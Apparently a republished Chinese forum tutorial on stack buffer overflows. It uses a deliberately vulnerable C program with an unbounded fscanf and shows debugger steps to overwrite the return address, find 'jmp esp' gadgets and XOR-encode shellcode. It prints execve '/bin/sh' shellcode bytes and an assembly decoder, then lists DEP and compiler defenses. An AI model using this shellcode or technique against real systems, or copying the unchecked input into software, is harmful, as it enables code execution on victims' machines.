如何利用栈溢出执行指定的的代码_栈溢出原理和利用

作者:自然dashen

原文&附件链接:[原创]栈溢出原理和利用-『二进制漏洞』-看雪安全论坛

案例代码

int main(void){char cPas[20]={20 *0};int iResult;FILE* pFile = NULL;pFile = fopen("pd.txt", "r");fscanf(pFile, "%s",cPas);iResult=strcmp(Password, cPas);if(iResult == 0){printf("Welcomrn");}else{printf("failrn");}fclose(pFile);return 0;}

栈溢出原理

  • 栈溢出是指向向栈中写入了超出限定长度的数据,溢出的数据会覆盖栈中其它数据,从而影响程序的运行。

+ fscanf()函数(有点像正则表达式):功 能: 从一个流中执行格式化输入,fscanf遇到空格和换行时结束,注意空格时也结束。用 法:int fscanf(FILE *stream, char *format,[argument...]);

  • 案例代码中fscanf读取文件到cPas中,没有限定读多少,那么可以读大量的16进制到栈里
  • 如图:
    把断点下到fscanf这个函数在这里,注释是我自己写的
    可以发现buff是ecx的值,所有在堆栈那里跟到buff
    然后选择锁定堆栈,为了让我们方便观看这一块堆栈

aac2245e33e0453920d58f10cbea3ed3.png


F8单步走一步,然后发现读的值在栈里面了,可以发现下面有个返回地址,
如果我们把读的数据返回地址给覆盖成我们的代码地址呢?是不是就可以执行我们的代码了。返回地址是6*7=28字节后面的4自己改我们的返回地址

6423eca4d07e8c645e23c5a7c978209f.png


由上图可以知道第25个字节是我们的返回地址,编写好记住栈的返回地址的地址是0018FF4c,我们往这个地址里面改成我们需要返回的地址内容,我改的是0018FF50,下面是我的nop代码

1b28bc52ea53b0bd9416ac42207cdb1e.png


F8执行fscanf,读入的数据把返回地址覆盖了,返回地址变成了0018FF50,

060af17fd3a0a20a8d6a69b418653afd.png


最后走到retn的地方,retn的操作是jmp esp 并且 pop esp
所有单步F8的话会到0018FF50这个地方执行代码

d00069fae6a87a09c251da814a0b6de4.png


观察Eip和反汇编窗口,发现执行了我们的代码

b4e6034cdc4c8725df4d5bff1b1e3207.png

栈溢出漏洞的利用

  • 问题
  1. 首先栈的位置不一定能确定,那么返回值的代码同样不能确定,我们的目的是要在返回函数地址的下一行执行我们的代码
  2. fscanf函数在读取到0XA,0XC,0X20...这样的Hex时会被中断
  • 解决问题
    • 第一个问题我们可以使用jmp esp这个解决,HEX为FF E4,在返回地址处填上jmp esp这句代码的地址,这个exe的代码里面搜索到FF E4,把返回地址改成这个即可。
      • 搜索方法:
        ALT+M 然后Ctrl+B搜索

697190638beed2c7e78a05ebd0467d59.png


使用插件搜索

b7ab5edad9513a5b92b232d7fe566944.png


可以发现非常多的log,这里我们一般选择主模块(随机基址会出问题)的或者kerenl32.dll、ntdll.dll,窗口的程序加上user32.dll(Winows必定会加载的dll,加载顺序都一样,但是可能系统版本不一样,导致dll不一样),这里看情况办事了

65e42bbfe3b6cfb7e6a2986e0217bb3f.png

1c569ecad050e7c51cad26d61ff2917a.png
    • 第二个问题我们可以对fscanf代码进程加密使其不产生这些Hex
      • 使用工具

f7c724bc623079b7f955d94bf9debbfc.png


特征文件的后缀是.fea

3099faea1cfed6f21ed9820e6f385fa9.png

cae7ba396f053dd54c8366faf222d9e4.png


需要异或的代码后缀是.code

利用漏执行shellcode

论坛随便看到的shellcode

0a2dd660512fdeb949627c410099a4dc.png

Explanation:6a 0b push 0xb58 pop eax 99 cdq 68 2f 73 68 00 push 0x68732f 68 2f 62 69 6e push 0x6e69622f89 e3 mov ebx,esp 31 c9 xor ecx,ecx cd 80 int 0x80

然后就是发现这段shellcode里面有 cd 0b这样的阶段HEX
所以我自己写了改这段代码的shellcode

.386.model flat, stdcall ;32 bit memory modeloption casemap :none ;case sensitive.codestart:call NextNext:pop ebxsub ebx,offset Nextlea eax,[ebx+offset mydata];1Bh==>Bhmov bl,[eax+1]sub bl,10hmov [eax+1],bl;0CEh==>CDhmov bl,[eax+18]dec blmov [eax+18],blmydata db 6Ah,1Bh,58h,099h,68h,2Fh,73h,68h,00h,68h,2Fh,62h,69h,6Eh,89h,0E3h,31h,0C9h,0CEh,80hretend start

编译链接exe,用winhex打开复制shellcode代码

957ce393de0a6179ad060c7b7e828a7d.png

复制到我们的输入中去

c9614f145db1d7d4aa7f586df953edd0.png


OD执行下

7fee2c4bb4ce5361b2f0319673ec6480.png

7fee2c4bb4ce5361b2f0319673ec6480.png

怎么防止栈溢出漏洞

  1. 系统中开启DEP(数据保护执行)

5f4caf2266fbf65d269743635875db6e.png
  1. 编译的时候VS中有选项

a3ecf3f6de99024c3fb9af2ad59eafa8.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值